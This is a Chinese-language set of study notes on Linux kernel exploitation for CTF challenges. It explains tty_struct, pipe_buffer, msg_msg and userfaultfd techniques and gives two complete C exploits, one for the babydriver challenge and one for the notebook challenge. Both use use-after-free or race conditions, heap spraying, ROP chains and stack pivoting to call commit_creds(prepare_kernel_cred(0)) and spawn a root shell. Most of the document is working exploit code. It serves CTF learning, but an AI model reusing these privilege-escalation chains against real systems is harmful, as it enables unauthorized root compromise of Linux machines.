comd trick

1
2
3
4
5
6
7
8
9
10
cpio -idmv < ./rootfs.cpio
find . | cpio -o --format=newc > ./rootfs.cpio

cat proc/modules
./extract-vmlinux ./bzImage > ./vmlinux
musl-gcc -w -s -static -o3 exp.c -o exp
gcc exp.c -static -masm=intel -o exp
#---------debug----------------
KPTI: cat /sys/devices/system/cpu/vulnerabilities/
关掉 kaslr 开 root 从 `/proc/kallsyms` 中读取其偏移

tty结构体相关利用

简单来说就是在tty_struct 偏移24中ops结构体中的write和ioctl等函数在对tty_struct中fd的相应的write/ioctl操作时候会劫持执行流,同时这时执行write/ioctl函数时候的rax为tty_struct,这时候劫持write为mov_rsp_rax,tty_struct开头再劫持一次pop_rax接着rop_chain即可利用

1
2
int fd_tty = open("dev/ptmx", O_RDWR | O_NOCTTY); //size = 0x2e0
#如果权限ptmx被设置则不能劫持

babydriver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <errno.h>



size_t pkc_addr = 0xffffffff81070260;

size_t cc_addr = 0xffffffff8106fed0;

void get_root()

{

    char *(*pkc)(int) = pkc_addr; // prepare_kernel_cred

    void (*cc)(char *) = cc_addr; //commit_cred

    (*cc)((*pkc)(0));

}



void get_shell()

{

    system("/bin/sh");

}



size_t user_cs, user_rflags, user_sp, user_ss;

void save_status()

{

    __asm__("mov user_cs, cs;"

            "mov user_ss, ss;"

            "mov user_sp, rsp;"

            "pushf;"

            "pop user_rflags;");

    puts("[*]status has been saved.");

}



int main()

{

    save_status();



    size_t mov_rsp_rax = 0xffffffff818855cf; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8188558b

    size_t pop_rax = 0xffffffff8101c216;     // pop rax; ret;



    size_t rop_chain[30] = {0};

    int index = 0;

    rop_chain[index++] = 0xffffffff8101c216; // pop rax; ret;

    rop_chain[index++] = 0x6f0;

    rop_chain[index++] = 0xffffffff8100f034; // mov cr4,rax; pop rbp; ret

    rop_chain[index++] = 0x0;

    rop_chain[index++] = (size_t)get_root;

    rop_chain[index++] = 0xffffffff81885588; // swapgs; ret

    rop_chain[index++] = 0xffffffff81884177; // iretq;

    rop_chain[index++] = (size_t)get_shell;

    rop_chain[index++] = user_cs;

    rop_chain[index++] = user_rflags;

    rop_chain[index++] = user_sp;

    rop_chain[index++] = user_ss;



    size_t tty_operations_fake[30];

    for (int j = 0; j < 30; j++)

    {

        tty_operations_fake[j] = mov_rsp_rax;

    } // hijack tty->write && tty->ioclt



    int fd1 = open("/dev/babydev", 2);

    int fd2 = open("/dev/babydev", 2);



    ioctl(fd1, 0x10001, 0x2e0);

    close(fd1);



    int fd_tty = open("dev/ptmx", O_RDWR | O_NOCTTY);

    if (fd_tty < 0)

    {

        printf("[+] cannot open /dev/ptmx\n");

        printf("[+] ptmx errorno: %d\n", errno);

        goto exit;

    }



    size_t tty_struct_leak[4]; // 24bits hijack tty->ops

    read(fd2, tty_struct_leak, 32);



    tty_operations_fake[0] = pop_rax; // second hijack stack to rax->rop_chain

    tty_operations_fake[1] = (size_t)rop_chain;

    tty_operations_fake[2] = mov_rsp_rax; //  hijack rax->rsp



    tty_struct_leak[3] = (size_t)tty_operations_fake;

    write(fd2, tty_struct_leak, 32);



    size_t a[4] = {0, 0, 0, 0};

    write(fd_tty, a, 32);

    // ioctl(fd_tty,0x100,32);

exit:

    close(fd2);

    return 0;

}

参考:

tty理解:
https://blingblingxuanxuan.github.io/2022/08/28/CISCN2017-babydriver/#%E5%AE%8C%E6%95%B4EXP

Pipe_Buffer结构体相关利用

类似tty结构体,修改Pipe结构体偏移0x10的ops()中偏移0x10的release()函数,在调用 close() 关闭文件描述符时,将会触发pipe_buffer中的ops->release函数。
除了劫持执行流还可以申请0x28 * 10 大小的pipe结构体,通过write(size) 来扩大pipe的size来进行越界内存的读写

1
2
3
4
5
6
// v4.4.110
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // #define PIPE_DEF_BUFFERS 16
pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);
// v4.18.4
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);

WCTF2018-klist(pipe越界)

参考:

Pipe_Buffer理解:
https://blingblingxuanxuan.github.io/2023/01/10/23-01-10-kernel-pwn-useful-struct/#%E5%88%A9%E7%94%A8%E8%83%BD%E5%8A%9B-4
wctf2018-klist:
https://www.cnblogs.com/pwnfeifei/p/16281180.html
https://blog.csdn.net/panhewu9919/article/details/100728934

msg&msg结构体相关利用

msg_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct msg_msg {//主消息段头部
struct list_head m_list; //消息双向链表指针
long m_type;
size_t m_ts; /* 消息大小 */
struct msg_msgseg *next; //指向消息第二段
void *security;
/* 后面接着消息的文本 */
};

struct msg_msgseg {//子消息段头部
struct msg_msgseg *next; //指向下一段的指针,最多三段
/* 后面接着消息第二/三段的文本 */
};

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
//其函数调用链为:
//ksys_msgrcv
// do_msgrcv
// prepare_copy (存在MSG_COPY 且有CONFIG_CHECKPOINT_RESTORE编译选项)
// load_msg
// convert_mode
// find_msg
// copy_msg (存在MSG_COPY 且有CONFIG_CHECKPOINT_RESTORE编译选项)
// msg_handler (函数指针指向do_msg_fill)
// store_msg
// free_msg

简单来说,在调用msgrcv时将msgflg设置为MSG_COPY,那么在执行do_msgrcv的时候会调用prepare_copy对于原来的msg_msg进行备份,同时跳过unlink阶段保留free掉备份的msg_msg但原来msg_msg没有被释放。这样我们就可以利用修改nextd达到任意地址读的目的,或者还可以修改m_ts来达到溢出配合堆喷。

D3CTF-Kheap

参考:

msg&msg理解:
https://blog.csdn.net/panhewu9919/article/details/120820617
https://blog.csdn.net/Breeze_CAT/article/details/124150959*

userfaultfd

Linux_Version < 5.11
userfaultfd是一个处理缺页异常相关的系统调用,通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高。简单来收就是阻塞一个进程,例如UAF中一个进程不断的U,一个进程不断的F,就可以利用userfaultfd分配一个区域来进行阻塞,当触发缺页异常的时候就会,阻塞U,之后在利用F,分配到设定的地址即可写入特定的数据。
再简单来说,就是利用userfaultfd做一个异常处理在一个地址上写一个值(卡在copy from 哪里 )

强网杯2021-notebook

(真是不能理解tty的堆喷,原来堆喷就是字面意思申请一大堆结构体or申请一个结构体改大它的size XD)
(还有一个思路利用cpu进行持久化)

arr3师傅的wp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
#include <sys/types.h>

#include <stdio.h>

#include <linux/userfaultfd.h>

#include <pthread.h>

#include <errno.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <signal.h>

#include <poll.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/syscall.h>

#include <sys/ioctl.h>

#include <sys/sem.h>

#include <semaphore.h>

#include <poll.h>

#include "./kernelpwn.h"



#define PTM_UNIX98_OPS 0xffffffff81e8e440

#define PTY_UNIX98_OPS 0xffffffff81e8e320

#define COMMIT_CREDS 0xffffffff810a9b40

#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0

#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929

#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50

#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c

#define POP_RDI_RET 0xffffffff81007115

#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833 // mov rdi, rax; xor eax, eax; cmp rdi, 0x9000000; je 0x245843; pop rbp; ret;

#define POP_RDX_RET 0xffffffff81358842

#define RET 0xffffffff81000091

#define SWAPGS_POP_RBP_RET 0xffffffff810637d4

#define IRETQ 0xffffffff810338bb

#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1

#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38

#define POP_RBP_RET 0xffffffff81000367

#define POP_RBX_POP_RBP_RET 0xffffffff81002141

#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7



#define TTY_STRUCT_SIZE 0x2e0



static long page_size;

static sem_t sem_add, sem_edit;

static char *buf; // for userfaultfd



static char *page = NULL;

static void *

fault_handler_thread(void *arg)

{

    struct uffd_msg msg;

    int fault_cnt = 0;

    long uffd;



    struct uffdio_copy uffdio_copy;

    ssize_t nread;



    uffd = (long)arg;



    for (;;)

    {

        struct pollfd pollfd;

        int nready;

        pollfd.fd = uffd;

        pollfd.events = POLLIN;

        nready = poll(&pollfd, 1, -1);



        if (nready == -1)

            errExit("poll");



        nread = read(uffd, &msg, sizeof(msg));



        sleep(100);



        if (nread == 0)

            errExit("EOF on userfaultfd!\n");



        if (nread == -1)

            errExit("read");



        if (msg.event != UFFD_EVENT_PAGEFAULT)

            errExit("Unexpected event on userfaultfd\n");



        uffdio_copy.src = (unsigned long)page;

        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &

                          ~(page_size - 1);

        uffdio_copy.len = page_size;

        uffdio_copy.mode = 0;

        uffdio_copy.copy = 0;

        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)

            errExit("ioctl-UFFDIO_COPY");



        return NULL;

    }

}



long note_fd;

typedef struct

{

    size_t idx;

    size_t size;

    char *buf;

} Note;



void noteAdd(size_t idx, size_t size, char *buf)

{

    Note note =

        {

            .idx = idx,

            .size = size,

            .buf = buf,

        };

    ioctl(note_fd, 0x100, &note);

}



void noteAddWrapper(void *args)

{

    Note *note = (Note *)args;

    noteAdd(note->idx, note->size, note->buf);

}



void noteDel(size_t idx)

{

    Note note =

        {

            .idx = idx,

        };

    ioctl(note_fd, 0x200, &note);

}



void noteEdit(size_t idx, size_t size, char *buf)

{

    Note note =

        {

            .idx = idx,

            .size = size,

            .buf = buf,

        };

    ioctl(note_fd, 0x300, &note);

}



void noteEditWrapper(void *args)

{

    Note *note = (Note *)args;

    noteEdit(note->idx, note->size, note->buf);

}



void noteGift(char *buf)

{

    Note note =

        {

            .buf = buf,

        };

    ioctl(note_fd, 100, &note);

}



void evilAdd(void *args)

{

    sem_wait(&sem_add);

    noteAdd((int)args, 0x50, buf);

}



void evilEdit(void *args)

{

    sem_wait(&sem_edit);

    noteEdit((int)args, 0x2000, buf);

}



struct

{

    void *buf;

    size_t size;

} notebook[0x10];



int main(int argc, char **argv, char **envp)

{

    int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0;

    size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];

    pthread_t tmp_t, add_t, edit_t;

    Note note;



    saveStatus();

    sem_init(&sem_add, 0, 0);

    sem_init(&sem_edit, 0, 0);



    note_fd = open("/dev/notebook", O_RDWR);

    buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    page = malloc(0x1000);

    strcpy(page, "arttnba3");

    page_size = sysconf(_SC_PAGE_SIZE);



    // register userfaultfd

    registerUserFaultFd(buf, 0x1000, fault_handler_thread);



    // initialize the notebook

    for (int i = 0; i < 0x10; i++)

    {

        noteAdd(i, 0x20, page);

        noteEdit(i, TTY_STRUCT_SIZE, page);

    }

    puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");

    sleep(1);



    // get all the note free and get the threads stuck by userfaultfd to save their ptrs

    for (int i = 0; i < 0x10; i++)

        pthread_create(&edit_t, NULL, evilEdit, (void *)i);

    puts("\033[34m\033[1m[*] Edit threads started.\033[0m");



    for (int i = 0; i < 0x10; i++)

        sem_post(&sem_edit);

    puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");

    sleep(1);



    // heap spraying to hit the tty_struct

    for (int i = 0; i < 0x80; i++)

        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");

    sleep(1);



    // change the size stored in notebook to pass _check_object_size and get the threads stuck by userfaultfd to save the ptrs

    for (int i = 0; i < 0x10; i++)

        pthread_create(&add_t, NULL, evilAdd, (void *)i);

    puts("\033[34m\033[1m[*] Add threads started.\033[0m");



    for (int i = 0; i < 0x10; i++)

        sem_post(&sem_add);

    puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");

    sleep(1);



    // check whether we've hit the tty_struct

    noteGift((char *)notebook);

    for (int i = 0; i < 0x10; i++)

    {

        read(note_fd, tty_data, i);

        if (hit_tty = (*((int *)tty_data) == 0x5401))

        {

            printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);

            printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);

            break;

        }

    }

    if (!hit_tty)

        errExit("Failed to hit the tty struct.");



    // get kernel base

    tty_ops = *(unsigned long long *)(tty_data + 3);

    kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);

    kernel_base = (void *)((size_t)kernel_base + kernel_offset);

    prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;

    commit_creds = COMMIT_CREDS + kernel_offset;

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);

    printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);

    printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);

    printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);

    printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);



    // find available note as fake tty_ops and fake stack

    for (int i = 0; i < 0x10; i++)

    {

        read(note_fd, tty_data, i);

        if (*((int *)tty_data) != 0x5401)

        {

            if (fake_tty_ops_idx == -1)

                printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);

            else

            {

                printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i);

                break;

            }

        }

    }

    if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)

        errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");



    // adjust the size of the object

    noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);

    noteEdit(fake_stack_idx, 0x100, rop);

    noteGift((char *)notebook);

    printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);

    printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);



    // restore tty_struct data

    read(note_fd, tty_data, tty_idx);

    memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);



    // first migration to tty_struct

    ((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;



    // second migration back to tty_operations

    fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;

    fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;

    fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;



    // third migration to a note

    fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;

    fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;

    fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;



    // final rop

    int rop_idx = 0;

    rop[rop_idx++] = 0x3361626e74747261; // arttnba3

    rop[rop_idx++] = POP_RDI_RET + kernel_offset;

    rop[rop_idx++] = 0;

    rop[rop_idx++] = prepare_kernel_cred;

    rop[rop_idx++] = POP_RDX_RET + kernel_offset;

    rop[rop_idx++] = RET;

    rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset;

    rop[rop_idx++] = 0x3361626e74747261; // arttnba3

    rop[rop_idx++] = commit_creds;

    rop[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;

    rop[rop_idx++] = 0;

    rop[rop_idx++] = 0;

    rop[rop_idx++] = (size_t)&getRootShell;

    rop[rop_idx++] = user_cs;

    rop[rop_idx++] = user_rflags;

    rop[rop_idx++] = user_sp;

    rop[rop_idx++] = user_ss;



    write(note_fd, rop, fake_stack_idx);                 // copy the ropchain

    write(note_fd, fake_tty_ops_data, fake_tty_ops_idx); // hijack the tty_operations

    write(note_fd, fake_tty_data, tty_idx);              // hijack the tty_struct

    puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");



    // exploit

    puts("\033[34m\033[1m[*] Start to exploit...\033[0m");

    for (int i = 0; i < 0x80; i++)

        write(tty_fd[i], page, 233);



    return 0;

}

Kernel存储分析

参考:

userfaultfd理解:
https://blog.csdn.net/qq_54218833/article/details/126004590
https://blog.csdn.net/seaaseesa/article/details/104650794
https://www.anquanke.com/post/id/253835*